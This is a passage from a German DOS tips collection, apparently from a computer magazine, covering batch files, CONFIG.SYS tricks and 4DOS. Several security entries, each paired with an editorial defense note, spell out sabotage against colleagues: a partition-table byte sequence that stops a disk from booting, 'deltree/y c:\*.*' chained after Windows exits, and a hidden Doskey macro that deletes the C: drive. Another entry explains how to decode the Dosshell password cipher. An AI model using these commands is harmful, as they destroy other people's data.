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"."
statt "*.*": Kürzer ist schneller:
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Thema: |
Hantieren mit Dateien |
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Machen Sie mal einen Punkt! Die meisten internen Command-Befehle und
externen DOS-Dienstprogramme sind nämlich nicht auf die umständlich
einzugebende Dateimaske "*.*" angewiesen. Wenn Sie etwa alle
Dateien eines Verzeichnisses kopieren wollen, reicht die Eingabe
"copy . a:" aus. |
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"Maus
nicht gefunden":
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Thema: |
AUTOEXEC.BAT |
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Der Start des Maustreibers in der AUTOEXEC.BAT verläuft nicht immer
erfolgreich. Der Microsoft-Treiber und häufiger noch der
Logitech-Treiber scheitern zuweilen mit der Meldung "Maus nicht
gefunden". Diesem Verhalten lässt sich aber auf recht einfache
Weise vorbeugen, weil der COM-Treiber den fehlgeschlagenen Ladevorgang
mit einem Errorcode quittiert. Die AUTOEXEC.BAT kann daher den
Errorlevel abfragen und bei Wert 1 den Treiber erneut starten:
:Maus
lh c:\dos\mouse.com
if errorlevel 1 goto Maus
Mit Hilfe dieser Schleife erhalten Sie immer einen korrekt
initialisierten Maustreiber, da der Start spätestens beim zweiten
oder dritten Durchlauf gelingen wird.-ha |
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Änderungen
am Bootsektor:
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Thema: |
Bios-Einstellung |
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Ich experimentiere auf meinem Rechner sehr viel mit verschiedenen
Betriebssystemen und Software. Jedesmal, wenn ich alles lösche und
MS-DOS neu installiere, erscheint die Meldung "!!! Warning !!!
Disk Bootsector is to be modified. Type Y to accept, any key to
abort." Was hat diese Meldung zu bedeuten? Muss ich befürchten,
dass meine Festplatte oder ein anderer Teil meines Rechners dadurch
Schaden nimmt? Harald M., Essen
Diese Meldung kommt vom Bios Ihres Rechners. Neuere Bios-Typen
bieten die Option, einen Zugriff auf den Bootsektor erst nach einer
Rückfrage zuzulassen. Meistens versteckt sich die entsprechende
Einstellung im Bios-Setup hinter "Virus-Protection" oder
einem ähnlichen Menüpunkt. Solange dieser Schutz aktiv ist, müssen
Sie jeden Zugriff auf den Bootsektor eigens bestätigen. Auf den
Bootsektor der Festplatte wird normalerweise nur beim Formatieren
zugegriffen. Deshalb steckt hinter einem Schreibzugriff auf diesen
Bereich mit hoher Wahrscheinlichkeit der Versuch eines Virus, Ihre
Festplatte in Besitz zu nehmen und sich im Boot- oder
Partitionssektor breitzumachen.
"Legale" Zugriffe auf den Bootsektor finden nur selten
statt - beispielsweise bei einer Neu-Installation von MS-DOS, dem
Umbenennen der Festplatte mit dem DOS-Befehl "Label" oder
der Installation von Festplattenmanagern wie dem
Ontrack-Disk-Manager. Wenn Sie solche Software installieren oder
eben die Platte umbenannt haben, können Sie die Warnung getrost
ignorieren; in allen anderen Fällen sollten Sie das gerade
ablaufende Programm jedoch auf Viren prüfen. -ts |
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Attrib
Effektive: Attribut-Entsorgung:
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Thema: |
Hantieren mit Dateien |
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Viel Tipparbeit ersparen Sie sich beim Attrib-Befehl unter DOS 6. x,
wenn Sie statt der lästigen Anweisung
attrib -s -r -a -h *.*
die undokumentierte Alternative "attrib, " verwenden. In
einem Rutsch sind damit alle Dateiattribute entfernt, in Kombination
mit dem Schalter/s sogar in sämtlichen Unterverzeichnisssen. Gefährlich
ist diese bequeme Anweisung allerdings im Wurzelverzeichnis, in dem
sich wichtige Systemdateien befinden. Unter DOS 7 (Windows 95)
funktioniert der Komma-Quickie leider nicht mehr. |
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Batchfortschritte:
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Thema: |
4DOS |
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Power-Usern sind die Batch-Möglichkeiten von COMMAND.COM zu
mickrig. Deshalb erfreut sich der Shareware-Ersatz 4DOS (erhältlich
bei Computer Solutions in Grafing, Tel. 08092/5018, Fax 08092/31727,
oder über die PC-WELT-Mailbox, Tel. 089/36086-357) grosser
Beliebtheit. Dieser alternative Kommando-Interpreter bereichert den
DOS-Alltag nicht nur um viele neue Befehle, sondern bringt auch die
Batchverarbeitung auf Trab.
Einen Beitrag dazu leisten Batchdateien mit der Endung BTM: Die Abkürzung
steht für "Batch to Memory". Im Gegensatz zu BAT-Dateien lädt
4DOS bei BTM-Dateien den gesamten Inhalt auf einen Rutsch in den
Arbeitsspeicher und beginnt erst dann mit dem Abarbeiten der Befehle.
Gegenüber dem lahmen Verfahren von COMMAND.COM bringt die
BTM-Variante eine erhebliche Geschwindigkeitssteigerung. Die Methode
ist allerdings problematisch, wenn Sie speicherresidente Programme in
einer Batchdatei laden wollen. Dadurch wird nämlich der
Arbeitsspeicher fragmentiert. Sie brauchen deswegen aber nicht gleich
auf die Vorteile der BTM-Dateien zu verzichten: Mit "loadbtm
on" oder "off" lässt sich auch in BAT-Dateien der
BTM-Modus für unproblematische Anweisungsblöcke ein- und vor
TSR-Programmen wieder ausschalten.
Neben zahlreichen Verbesserungen, zum Beispiel der Erhöhung der
Anzahl möglicher Parameter auf 127, besitzt der Shareware-Ersatz 4DOS
eine Komprimierungs-Option für Batchdateien. Mit Hilfe des Programms
Batcomp können Sie ihren Platzbedarf reduzieren und gleichzeitig
verhindern, dass sie jemand eigenmächtig verändert: Nach dem Einsatz
von Batcomp liegen sie nämlich im Binärformat vor. -ws |
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Bug
mit Wildcards:
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Thema: |
Kopierfehler |
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Einen kleinen Bug hat der COPY-Befehl von MS-DOS 7. Wenn Sie beim
Kopieren von Dateien Wildcards verwenden, indem Sie beispielsweise
copy pbrus*.exe pbrush.bak
eingeben, so erhalten Sie statt einer neuen Datei mit identischem
Inhalt lediglich eine verstümmelte Datei. -rb |
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CANCEL.BAT:
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Thema: |
Externer Abbruchbefehl |
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Bei komplizierten Batchdateien wird es manchmal schwierig, die
Sprungmarken und Abbruchbedingungen korrekt zu setzen. Anders als
Novell-DOS bietet MS-DOS keinen Abbruchbefehl, um - abhängig von
einer Bedingung - einen Stapel zu beenden. So muss stets eine zusätzliche
Sprungmarke ":Ende" herhalten, um die Batchbearbeitung
abzuschliessen.
Was spricht dagegen, einen speziellen externen Cancel-Befehl einzuführen?
Es genügt, eine weitere Batchdatei namens CANCEL.BAT anzulegen, die
im einfachsten Fall lediglich die Zeile "@echo off" oder
auch gar nichts enthält. Mehr Informationen bekommt der Anwender
schon, wenn mit "cancel %0" der Name der Batchdatei übergeben
wird und CANCEL.BAT diesen dann mit "@echo ...%1 beendet" am
Bildschirm des Rechners ausgibt.
Noch mehr Substanz erhält die Cancel-Datei, wenn Sie ihr gleich noch
typische Aufräumfunktionen übertragen, die Sie dann nicht mehr in
den einzelnen Batchdateien unterbringen müssen. Die Abbruchroutine
CANCEL.BAT könnte beispielsweise alle übergebenen temporären
Dateien und Umgebungsvariablen löschen. -gf |
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Command
Selten nützlich: TRUENAME:
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Thema: |
Hantieren mit Dateien |
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Viele DOS-Befehle sind aus gutem Grund undokumentiert - der Anwender
könnte damit bei unsachgemässem Gebrauch Schaden anrichten. Es gibt
aber auch einen DOS-Befehl, der wohl deshalb seit Jahren
undokumentiert blieb, weil sich (fast) kein sinnvoller Einsatzzweck
erkennen lässt. Mit TRUENAME erhalten Sie wie mit CD den aktuellen
Verzeichnisnamen. Der einzige
Vorteil zeigt sich beim gleichzeitigen Einsatz der Hilfsprogramme
Subst und Append: TRUENAME lässt sich durch solche Zuordnungen nicht
täuschen, sondern zeigt die korrekten Pfade an. |
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Command/f:
Lästige Unterbrechung beseitigt:.
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Thema: |
Datenträger und Datenträgerverwaltung |
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Zu den Eigenheiten von DOS gehört die umständliche Vorgehensweise,
wenn Sie auf ein Laufwerk zugreifen, in dem sich keine Diskette
befindet. Sofort kommt die Meldung
Nicht bereit beim Lesen von
Laufwerk B: (A) bbrechen, (W) iederholen, (U) ebergehen?
Unbarmherzig müssen Sie jetzt die Taste "U" drücken.
Daraufhin erscheint die Meldung, das aktuelle Laufwerk sei nicht mehr
gültig. Erst jetzt dürfen Sie das Laufwerk ansprechen oder die
Operation abbrechen. Wie unnötig dieser Aufwand ist, beweist der
Einsatz des Schalters/f in der Datei CONFIG.SYS. Nach der Anweisung
shell=c:\dos\command. com c:\dos\ /e:256 /p /f
weiss DOS gleich Bescheid, und Sie können sofort weiterarbeiten. |
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COPY
NUL: Gründliches Löschen:
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Thema: |
Hantieren mit Dateien |
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Wenn Sie beim Löschen von Dateien unter DOS 6. x und 7 auf Nummer
Sicher gehen wollen, sollten Sie sich den folgenden Befehl ansehen.
Mit der Anweisung
copy nul privat.txt
löschen Sie eine Datei recht gründlich. Zunächst lässt jedoch die
Meldung "0 Datei( en) kopiert" vermuten, es sei gar nichts
geschehen. Wenn Sie jetzt aber mit DIR das Verzeichnis ausgeben,
stellen Sie fest, dass die Datei PRIVAT.TXT fehlt. Versuchen Sie nun
mit UNDELETE die Datei aufzuspüren, werden Sie zwar eine gleichnamige
Datei finden -doch die ist lediglich 0 Byte gross und lässt sich auf
diesem Weg nicht mehr wiederherstellen. |
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Dateiarchive
aktualisieren:
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Thema: |
4DOS |
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Problem: Ein lokales Datenarchiv soll ständig aktualisiert werden,
um stets die gleichen Dateien zu enthalten wie das Ausgangsarchiv auf
einem anderen Datenträger (etwa im Netz). Es sollen also sowohl neu
hinzugekommene Dateien kopiert als auch geänderte Dateien überschrieben
werden. Was tun?
Lösung: Bei derartigen Alltagsproblemen sind MS-DOS und Windows (3.11
wie 95) ziemlich hilflos. Windows 3.1x erweist sich als völlig
unbrauchbar, und DOS arbeitet nur dann erfolgreich, wenn das Archiv
keine Unterverzeichnisstruktur enthält: Nur für diesen Fall reicht
die folgende Konstruktion:
for %x in (n:\basis\*.*) do if not exist c:\ziel\%x copy %x c:\ziel
Bei einem Archiv mit Unterverzeichnissen kommt man weder mit Xcopy,
Xcopy32, Replace noch mit einer Kombination dieser Dienstprogramme ans
Ziel. Bevor Sie nun das schwächelnde MS-DOS mit einer Qbasic-Lösung
aufbohren, sollten Sie für solche oder ähnliche Aufgaben folgende
Alternativen in Betracht ziehen: Der Norton Commander enthält unter
"Optionen, Konfiguration" die Option "Kopiere nur
neuere Dat." mit genau der gewünschten Funktion. Einziger, aber
gravierender Nachteil dieser Alternative ist nur, dass sie immer den
manuellen Aufruf des Commanders und das Einstellen der Verzeichnisse
erfordert. Eine vollautomatische Lösung erlauben hingegen Packer wie
Pkzip:
pkzip c:\ziel -rP -u n:\basis\*.*
Die Update-Option "-u" packt nur bisher nicht existierende
Dateien dazu und aktualisiert ausserdem geänderte. Der grosse
Nachteil dieser Methode: Die Daten liegen dann im ZIP-Archiv. Sie müssen
sie für jeden Zugriff erst einmal entpacken. Möchten Sie das nicht,
bleiben die Kommando-Interpreter 4DOS oder NDOS (das lizenzierte 4DOS
der Norton Utilities) als absolut beste Alternative. In 4DOS genügt
die Zeile:
copy /u/s n:\basis\*.* c:\ziel
Der Schalter /u steht für "Update", /s berücksichtigt auch
Unterverzeichnisse. Wer viele Batchdateien verwendet und die
(geringen) Kompatibilitätsprobleme zwischen Command und 4DOS scheut,
kann 4DOS auch ad hoc mit "4dos /c ..." einsetzen und damit
jeweils wieder beenden. -ha |
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DOS-und
Windows-Bug verhindert Booten:
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Thema: |
Datensicherheit in der Praxis |
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DOS im Teufelskreis: Ein besonders unglückliches Gesicht macht ein
PC-Besitzer, wenn er beim Booten die Meldung "Bitte
Systemdiskette einlegen" lesen muss. Noch verzweifelter wird er,
wenn sogar diese Aufforderung ausbleibt. Stundenlanges
Suchen nach dem Fehler im CMOS-Setup ist die unausweichliche Folge.
Anschliessend: Zerlegen des Geräts, Ausbau der Festplatte. Als
Steigerung kann ich mir nur vorstellen, dass zusätzlich das Booten
von Diskette fehlschlägt. Einem so Geschädigten bleibt nur der Weg
in die Nervenheilanstalt. Intime Kenntnis der Bugs in MS-DOS 5.0 (und
den nachfolgenden Versionen) versetzt mich in die Lage, jeder
beliebigen Festplatte rigoros den Garaus zu machen. Das einzige benötigte
Werkzeug ist ein Diskeditor, wie er zum Lieferumfang beispielsweise
der Norton Utilities gehört. Ich suche damit in der Partitionstabelle
die Eintragungen für die aktive Partition (leicht an der führenden
"80" ab Offset 1DE von Zylinder 0, Sektor 0 zu erkennen) und
ersetze ihn durch diese Byte-Folge:
0000 0100 0500 b80b 0100 0000 bc01 0000
Wenn der arglose Computer-Benutzer jetzt sein System startet,
interpretiert DOS den Eintrag als eine nicht aktive, erweiterte
(extended) Partition, beginnend bei Kopf 0, Zylinder 0, Sektor 1 und
endend bei Kopf 0, Zylinder 523, Sektor 56. Da der Beginn dieser
Partition identisch ist mit dem Master-Boot-Sektor (Kopf 0, Zylinder
0, Sektor 1), rotiert DOS bei der Suche nach aktiven Partitionen im
Kreis (" rekursive Partition"). In der Folge bleibt das
System im Bootvorgang stehen. Das Booten von Diskette hilft auch nicht
weiter, denn hier versucht das Betriebssystem, die Festplatte zu
initialisieren, und verfängt sich ebenfalls im Teufelskreis.
Wie Sie sich wehren -Kommentar der Redaktion Aus einem solchen Dilemma
gibt es nur eine Rettung: Starten Sie von einer uralten Bootdiskette
mit MS-DOS 3.3 oder DRDOS (Novell). Die älteren Versionen sind in der
Lage, den Fehler abzufangen, und die Festplatte lässt sich dann
immerhin neu partitionieren. Warum DOS 6. x oder Windows 95 dazu nicht
fähig sind, bleibt ein Geheimnis von Microsoft. |
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EDIT.COM
ist patchtauglich:
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Thema: |
Binärdateien |
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Der kleine DOS-Editor EDIT.COM eignet sich ausgezeichnet zum
Editieren von Ascii-Dateien. Wird Edit mit einer Dateiangabe
aufgerufen (etwa "edit config.sys" oder per Drag & Drop
auf das Edit-Icon), so öffnet es diese Datei standardmässig als
Ascii-Text. Bearbeiten und speichern Sie allerdings binäre Dateien
(EXE-Dateien, Bilder, Tabellen, formatierte Texte) auf diese Weise,
geht deren Format verloren. Die Datei ist damit in der Regel zerstört.
Edit ist dennoch gerüstet, auch binäre Dateien zu ändern: Sie können
Edit ohne Dateiangabe starten, dann im Dialog "Datei, Öffnen"
die Option "Binär öffnen" wählen und die gewünschte
Datei erst dann öffnen. Damit können Sie auch Binärdateien
bearbeiten.
Alternativ lädt Edit Dateien grundsätzlich im Binärformat, wenn Sie
als Parameter eine Zahl angeben, die die Position des Zeilenumbruchs
definiert:
edit /75 <datei>
In diesem Fall setzt Edit nach dem 75. Zeichen einen Zeilenumbruch und
öffnet die angegebene Datei im Binärformat. Wenn Sie das wünschen,
lässt sich das auch in einer Verknüpfung zu Edit als Standard
festlegen. Der Parameter mit nachfolgender Zeichenzahl pro Zeile ist
ausreichend dokumentiert, wenn Sie "edit /?" eingeben. Aber
wer kommt schon auf die Idee, den simplen Editor auf seine Parameter
hin zu untersuchen? |
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Fehler
bei neueren 1-GB-Festplatten:
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Thema: |
Doublespace/Drivespace |
Betriebssystem: |
MS-DOS 6.0 6.2 6.22 |
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Der Festplatten-Komprimierer Doublespace von MS-DOS 6.0 und 6.2 und
sein Nachfolger Drivespace, der mit DOS 6.22 ausgeliefert wird, können
komprimierte Laufwerke bis zu 512 MB erstellen. Bei einer grösseren
Festplatte wählt der Komprimierer automatisch eine Teilkomprimierung
des Laufwerks. Probleme gibt es aber, wenn die Festplatte zwischen
1028 und 1153 MB fasst - eine verbreitete Kapazität neuerer
Gigabyte-Platten. Dann beschwert sich Doublespace über zuwenig Platz
auf der Platte und bemängelt, dass noch Dateien auf dem
unkomprimierten Laufwerk zurückgeblieben seien. Ausserdem ist es ärgerlich,
dass sich der Kompressionsfaktor maximal auf "1,5"
einstellen lässt. |
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Finaler Schuss mit Verzögerung:
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Thema: |
Datensicherheit in der Praxis |
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Gefährlicher DOS-Befehl: Meine Toleranzgrenze hinsichtlich W. ist
endgültig überschritten, da er mich gestern erneut beim Chef
angeschwärzt hat. Heute mittag nutze ich seine Abwesenheit für einen
finalen Anschlag: Ich beende sein laufendes Windows und starte es neu
mit:
win| deltree/y c:\*.*
Nach seiner Pause kann er sich meinetwegen stundenlang unter Windows
vergnü-gen. Sobald er es aber verlässt, schlägt Deltree zu. Was
Domestos für die Kloschüssel, ist der DOS-Befehl Deltree für den
PC. Ich gehe heute lieber schon etwas früher nach Hause. Je weiter
ich weg bin, desto weniger kann ich schuld sein ...
Wie Sie sich wehren -Kommentar der Redaktion Die schlimmsten Attentate
auf Ihre Daten drohen durch die DOS-Befehle Deltree und Format. Wenn
Sie Anschläge dieser Art befürchten, sollten Sie die betreffenden
Programmdateien von der Festplatte nehmen oder dezent umbenennen.
Gegen den Angriff im Vorbeigehen reichen auch Doskey-Makros.
TIP: Folgendes Makro "Deltree", das auf eine gleichnamige
Batchdatei DELTREE.BAT verweist (doskey deltree= deltree.bat),
simuliert die übliche Löschaktion:
@ctty nul
echo \DOS wird gelöscht... > con
chkdsk c:
echo \DATA wird gelöscht... > con
dir \/s
...
Damit verhelfen Sie dem bösartigen Kollegen zu einem entspannenden
Gefühl der Befriedigung, ohne dass er tatsächlich Ihre Daten
behelligt. Wir überlassen es Ihrer schauspielerischen Begabung, zusätzlich
schluchzend über den Flur zu ziehen ... |
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Immer
Ärger mit Doskey-Makros:
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Thema: |
Datensicherheit in der Praxis |
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Dubiose Doskey-Makros (I): Meine Alleinherrschaft am DOS-Prompt
scheint längst gebrochen. Immer mehr Kollegen glauben, ein Blick ins
Handbuch oder in die kümmerliche Online-Hilfe würde sie lehren, was
alles in DOS steckt. Um sie wieder auf den Boden der Realität
herunterzuholen, setze ich meinen alten Freund Doskey ein.
Dazu muss ich ihn zuerst einmal lahmlegen, denn auch sein
Leistungsumfang ist gut dokumentiert. Doskey weigert sich allerdings
recht beharrlich, spurlos von der Bildfläche zu verschwinden. Befehle
wie
doskey doskey= echo.
geben den gesamten Befehl hinter dem Gleichheitszeichen am Bildschirm
aus und verraten so die bösen Pläne. Abhilfe schafft das
Ascii-Zeichen 255. Zuerst erstelle ich eine Batchdatei mit diesem
unsichtbaren Ascii-Zeichen als Namen und mit folgendem Inhalt:
@echo off
doskey win=win$techo j.| del c:\*.*
doskey doskey=< Alt>-< 2>,< 5>,< 5>
Die Batch bewirkt, dass Doskey nach aussen hin einwandfrei
funktioniert. Zwischen der ersten und der letzten Dateizeile kann ich
beliebige Doskey-Bosheiten treiben. Die letzte Zeile, die wieder mit
dem unsichtbaren Zeichen endet, deaktiviert den Doskey-Aufruf selbst,
der fürderhin nur noch diese Batch aufruft und keine Makros mehr
definiert. Dubiose Doskey-Makros (II): Besonders schick finde ich
diese unsichtbare Batchdatei mit einem Versteckt-Attribut, und der
angestammte Aufruf für eine Ascii-255-Batch ist natürlich eine
(unsichtbare!) Zeile in der AUTOEXEC.BAT. Halbgelehrte DOS-User sind
mit solchen harmlosen Eingriffen schnell wieder auf dem Boden der
Realität zurückgeholt. Übrigens: Zeile 2 meiner Batchdatei finde
ich besonders gelungen. Zunächst wird hier nämlich Windows gestartet
und erst beim Beenden -oder beim Start einer DOS-Box -schlägt DEL
gnadenlos zu.
Wie Sie sich wehren -Kommentar der Redaktion Unter DOS aufgerufene
EXE-oder COMProgramme starten zwar, aber sie tun nicht (oder mehr als
das), was Sie von ihnen gewohnt sind? Dann kommen mehrere Ursachen in
Betracht (abgesehen von technischen Problemen).
1. DOS findet im Pfad vor der gewünschten XYZ-Datei eine gleichnamige
XYZ-Batchdatei, die zwar ihrerseits XYZ aufruft, aber vorher oder
nachher unerwünschte Aktionen ausführt. Das ist leicht mit
"dir/s \xyz" zu prüfen.
2. DOS findet ein Doskey-(oder Alias-) Makro, das grundsätzlich über
externe EXE-oder COM-Dateien dominiert. Vorhandene Doskey-Makros können
Sie üblicherweise mit "doskey/ m" kontrollieren, getarnte
Doskey-Makros etwa mit ", , doskey/ m", da keine Tarnung
solche Varianten einbeziehen kann.
3. Das aufgerufene Programm entspricht nicht dem Standardprogramm
-auch wenn es dessen Namen trägt und so ziemlich das Gleiche tut.
Vergleichen Sie die fragliche Datei hinsichtlich Grösse und
Dateidaten oder sogar mit Hilfe von FC (Filecompare) mit der
Originaldatei. |
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Kleiner
Zählfehler in der CONFIG.SYS:
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Thema: |
MS-DOS |
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Falsche Einträge in der CONFIG.SYS quittiert MS-DOS seit der
Version 6.0 mit der hilfreichen Meldung: "CONFIG.SYS enthält
unbekannten Befehl. Fehler ... in Zeile XX". Wenn Sie nun meinen,
Sie könnten mit dem DOS-Editor, der in der Statusleiste die
Zeilenzahl anzeigt, den fehlerhaften Eintrag zielsicher ansteuern,
sind Sie im Irrtum: DOS zählt nur korrekt bis zum Eintrag
"SHELL=", danach stimmen die Angaben jedoch nicht mehr, da
es diese Zeile doppelt zählt.
Erhalten Sie also die Meldung, Zeile 12 sei fehlerhaft, und steht die
entsprechende Zeile nach dem Shell-Kommando, so befindet sich der
Fehler in Wahrheit in Zeile 11 - also eine Zeile weiter oben. Sollten
sich in der CON-FIG.SYS tatsächlich mehrere Shell-Aufrufe befinden,
sind entsprechend viele Zeilen abzuziehen. Auf Fehler in der
Shell-Zeile selbst reagiert die neue Fehlerkontrolle von MS-DOS überhaupt
nicht: Meldungen über etwaige falsche Parameter stammen ausschliesslich
von COMMAND.COM selbst. Die einfachste Lösung für dieses Problem
besteht darin, die Shell-Zeile ans Ende der CONFIG.SYS zu
versetzen.-aw |
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Kommentarzeichen
definieren:
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Thema: |
CONFIG.SYS |
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CONFIG.SYS und AUTOEXEC.BAT sehen für Kommentare REM oder ein
Semikolon vor. Für die CONFIG.SYS existiert der undokumentierte
Befehl COMMENT, mit dessen Hilfe Sie eine eigene Kennung für
Kommentare festlegen können. Diese bestehen maximal aus einer
Kombination von zwei Zeichen. Sie dürfen sie direkt an die
Befehlszeile anhängen und danach Ihren Kommentar eintragen.
comment //
legt zwei Schrägstriche als Kommentarzeichen fest und lässt etwa
folgende Kommentierung zu:
[SingleDOS] //Abschnitt für DOS-Spiele |
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Komplexe
Befehle per Hotkey:
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Thema: |
ANSI-Makros |
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Mit geladenem ANSI.SYS lassen sich wie mit dem Doskey-Utility kleine
Makros erstellen. Der Vorteil gegenüber Doskey-Makros ist die Möglichkeit
der Funktionstastenbelegung: Sie brauchen keinen Makronamen mit der
<Return>-Taste zu bestätigen, sondern definieren einen Hotkey,
etwa <Alt>-<S>, für eine beliebige Aktion. Ein
wesentlicher Nachteil gegenüber Doskey scheint hingegen die Beschränkung
auf einen einzigen Befehl zu sein.
Tatsächlich besteht dieses Limit jedoch gar nicht: Sie können nämlich
mit dem ASCII-Zeichen 20, das aussieht wie eine <Return>-Marke,
mehrere DOS-Befehle in einer Kommandozeile verketten:
dir \ /s/-p > \liste <ASCII 20> edit \liste
Im DOS-Editor müssen Sie die Eingabe des Sonderzeichens mit
<Strg>-<P> vorbereiten und erst danach
<Alt>-<2>,<0> eingeben.
Ein typisches ANSI-Makro kann etwa so aussehen - es beginnt mit der
Definition der zugewiesenen Tastenkombination:
echo <ASCII 27>[0;20;"...";13p
ASCII 27 übergeben Sie hier im DOS-Editor wieder mit
<Strg>-<P> sowie <Alt>-<2>,<7> (oder
einfach <Esc>). Nach der eckigen Klammer folgt der Tastaturcode.
Den Hotkey entnehmen Sie Ihrem Handbuch oder der Online-Hilfe zu
ANSI.SYS. "0;20" in unserem Beispiel steht für
<Alt>-<T>.
Sodann folgen nach dem Anführungszeichen die gewünschten Befehle
genau wie am Prompt. Mehrere aufeinanderfolgende Kommandos trennen Sie
mit ASCII 20 voneinander. Das "13p" am Ende nimmt Ihnen das
Eingabe-<Return> für den letzten Befehl ab. Zwischen den
Klammern könnte nun ein DIR-Befehl stehen, der die Ausgabe in eine
Datei umleitet (>...), als zweiter Befehl der Aufruf eines
QBasic-Listings, das die Dateiliste sortiert oder auswertet, als
weiterer Befehl ein Edit-Aufruf, der die Ergebnisdatei von QBasic
editiert.
Schreiben Sie solche ANSI-Makros in die AUTOEXEC.BAT, stehen Ihnen die
definierten Hotkeys bei jedem Start zur Verfügung. -rb |
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Kryptische
Zeichen nach Eingabe von DIR:
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Thema: |
Pannenhilfe |
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Sie wechseln am DOS-Prompt mit "cd xxx" in ein
Unterverzeichnis Ihrer Festplatte. Nach Eingabe von DIR erhalten Sie
aber nicht wie gewöhnlich eine Aufstellung der enthaltenen Dateien.
Vielmehr präsentiert sich Ihnen ein Durcheinander kryptischer
Zeichen.
Sehr wahrscheinlich ist der FAT-Eintrag dieses Unterverzeichnisses
defekt. Damit findet DIR statt der passenden Dateien nur Datenmüll.
Da DOS eine Kopie der FAT anlegt, sollten Sie versuchen, das Problem
mit einem Reparaturprogramm, beispielsweise mit dem Norton Disk Doctor
aus den Norton Utilities (siehe Frage 29 "Rettungsring für die
Dateizuordnungstabelle FAT", Seite 266) zu beseitigen. Der Disk
Doctor vergleicht die beiden FAT-Kopien und versucht, die Einträge
den richtigen Clustern zuzuweisen. Läuft alles erfolgreich, finden
Sie ein neues Verzeichnis "DIR00000" mit den vermissten
Dateien vor. Andernfalls müssen Sie auf ein hoffentlich vorhandenes
Backup zurückgreifen. -tom |
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Lächerliches Dosshell-Passwort:
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Thema: |
Datensicherheit in der Praxis |
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G bedeutet A und so fort: Die Dosshell, dieses Mini-Windows unter
DOS, war von Anfang an eine Totgeburt. Ein paar Sonderlinge gibt es
aber doch, die sich für diese Shell erwärmen können. Manche von
ihnen finden vor allem jene Option attraktiv, die es erlaubt, im Menü
"Datei, Eigenschaften" gefährliche Programme mit einem
Kennwort zu versehen. Lächerlich: Erstens kann ja jeder die Shell
verlassen und am Prompt tun und lassen, was er will. Zweitens steht
das Kennwort verschlüsselt in der DOSSHELL. INI. Selbst Achtjährige
durchschauen diese Verschlüsselungsform: Ersetzt man jeden Buchstaben
durch jenen, der im Alphabet sechs Stellen früher auftritt, erhält
man das ursprüngliche Kennwort. Ein G steht also für A, H für B und
so fort. Die "verschlüsselten" Buchstaben A bis F repräsentieren
U bis Z. |
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Logbuch
über Häufigkeit der Rechnerstarts:
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Thema: |
Boot-Information |
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Wenn Sie wissen wollen, wie häufig Sie Ihren Rechner neu starten müssen,
um auf diese Weise herauszufinden, wie oft Ihr Rechner im Durchschnitt
pro Tag abstürzt, dann können Sie dies ganz einfach mit ein paar zusätzlichen
Zeilen in der AUTOEXEC.BAT bewerkstelligen:
ECHO. >> BOOT.LOG
ECHO.|DATE|FIND "Geg" >> BOOT.LOG
ECHO.|TIME|FIND "Geg" >> BOOT.LOG
Wenn Sie eine Multiboot-Konfiguration eingerichtet haben, dann können
Sie Informationen über die Beliebtheit der einzelnen Boot-Optionen
bekommen, wenn Sie zusätzlich diese Zeile eintragen:
ECHO %CONFIG% >> BOOT.LOG
Ab nun fügt jeder Neustart die gewünschten Informationen in die
Datei BOOT.LOG ein -ws |
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Mit
X.BAT Windows überlisten:
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Thema: |
Ausführen-Dialog |
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Problem: Wenn Sie unter "Datei, Ausführen" im
Programm-Manager oder "Start, Ausführen" im Explorer einen
Befehl wie "dir /s *.txt" eingeben, erhalten Sie eine
Meldung, dass die Datei oder Komponente "dir" nicht zu
finden sei.
Lösung: Windows sucht zwar den Pfad nach externen EXE- und
COM-Dateien ab, wird aber in diesem Fall nicht fündig - eine DIR.EXE
existiert bekanntlich nicht. Es handelt sich um einen internen Befehl
des Kommando-Interpreters COMMAND.COM. Ebenso scheitern Aufrufe von
Doskey-Makros oder Alias-Kommandos (4DOS) am Windows-Prompt, weil sie
den laufenden Kommando-Interpreter voraussetzen.
Es hilft also nur die Eingabe "command /c dir /s *.txt", die
Command zusätzlich mit dem gewünschten Befehl startet. Diese Eingabe
ist jedoch recht mühsam. Wenn Sie solche Ausflüge nach DOS häufiger
benötigen, erstellen Sie sich am besten eine X.BAT folgenden Inhalts:
%1 %2 %3 %4 %5 %6 %7 %8 %9
pause
Damit verkürzen Sie die Eingabe am Windows-Prompt auf "x dir /s
*.txt". Im übrigen brauchen Sie nicht zu unterscheiden, ob es
sich um einen internen, externen oder einen Doskey-Befehl handelt: Mit
"x ..." gestartete DOS-Module findet Windows nun auf jeden
Fall. -rb |
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MOVE.
EXE: Illegale DOS-Namen:
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Thema: |
Hantieren mit Dateien |
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Das DOS-Utility MOVE.EXE lässt sich auch zum Umbenennen von Dateien
einsetzen. Dabei erlaubt es -wie etwa der Norton Commander - die
Eingabe illegaler Datei- oder Verzeichnisnamen mit Leerzeichen:
move dos "d o s"
Diese Funktion ist nützlich, wenn Sie etwa ein Pfadverzeichnis vorübergehend
deaktivieren wollen. |
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Phantom-Verzeichnisse:
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Thema: |
MS-DOS |
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Eher kurios ist ein Fehler des CD-ROM-Treibers MSCDEX.EXE aus
MS-DOS. Wenn Sie am DOS-Prompt auf das CD-ROM-Laufwerk wechseln, können
Sie mit CD in Verzeichnisse mit den sonderbarsten Namen wechseln, auch
wenn diese gar nicht existieren. So befinden Sie sich nach Eingabe des
Befehls
cd Ä\Ö\Ü\ss\°\µ
im Verzeichnis Ä\Ö\Ü\ss\°\µ, obwohl es dieses Verzeichnis gar
nicht gibt. Zusätzlich ist kurios, dass MSDEX.EXE zwar Unsinn
akzeptiert - aber bei weitem nicht jeden. Zum Beispiel wird ein
Verzeichnis namens "a" ebenso abgelehnt wie "äa",
während die Verzeichnisse "ä" und "aä"
anscheinend keinerlei Probleme bereiten. -bk |
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PIF
-Perverted Information File:
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Thema: |
Datensicherheit in der Praxis |
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Windows ungünstig informiert: Für meine Mitmenschen sind
PIF-Dateien für DOS-Programme unter Windows ein Buch mit sieben
Siegeln. Ich konnte mit ihrer Hilfe
schon manchen Kollegen in die pure Verzweiflung treiben. Das sieht
dann etwa so aus, dass der Betroffene eine DOS-Box startet und diese
dann einfach nicht mehr los wird: "exit" funktioniert nicht,
ebensowenig <Alt>-< Tab> oder <Alt> -< Esc>.
Mit <Alt>-< Return> zum Fenster verkleinern und dann über
die Titelleiste schliessen? Geht auch nicht! Mit etwas Glück gelingt
allenfalls noch der harte Abbruch mit dem Drei-Finger-Griff, ohne dass
dabei ganz Windows mit abstürzt. Der Kollege wird sich hüten, noch
einmal eine DOS-Box zu starten!
Wie Sie sich wehren -Kommentar der Redaktion Die PIF-Datei enthält
